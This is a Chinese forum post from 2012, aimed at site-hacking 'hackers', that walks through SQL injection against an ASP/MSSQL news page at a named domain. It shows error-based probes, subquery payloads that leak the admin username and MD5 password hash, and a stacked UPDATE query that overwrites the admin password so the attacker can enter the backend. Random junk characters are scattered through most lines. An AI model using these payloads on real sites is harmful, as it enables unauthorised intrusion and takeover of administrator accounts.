经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。# s- O6 z0 ^, {# K
可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)
2 I, I0 {" C1 {测试如下：
I2 \, _9 [ h+ R% o2 ]* a: e; khttp://www.tmdsb.com/news.asp?id=121
/ Q2 o0 j2 a' l% c" l8 D& t" { \在地址后输入单引号，显示
$ O' H* K- q* `* c- Z9 q' Q! }Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’% x' B+ j6 T4 ` m G5 I; p
字符串 ’’’ 之前有未闭合的引号" o8 l8 Y1 V/ w! f
/news/tmdws.asp，行63
5 I: S! r: z4 [8 g6 R( b% K1 _说明没有过滤单引号且数据库是MSSQL. ~" R6 l; _1 b( g" x
and 1=1正常。and 1=2出错。肯定存在注入
) D4 B: Y4 c! d) g8 }; _* m接着输入# v9 g# a' h) M. h* I
http://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)4 r4 r8 y4 N( n$ Z" I# ^4 c# i& q6 _
得到帐号为:admin3 T0 _/ g# ?; G' F/ S
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)1 v/ t( }& y5 N. m, D; {/ d
得到密码为:a4716077c2ba075c' A( d( G1 W- p. u! S. i. @( j( w
接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f29433$ B8 _( B, |. ?, L
命令如下 :: n8 G' @- R, L# s& {$ n: R. ~
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
" U$ O! C! g0 o) ?% M这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41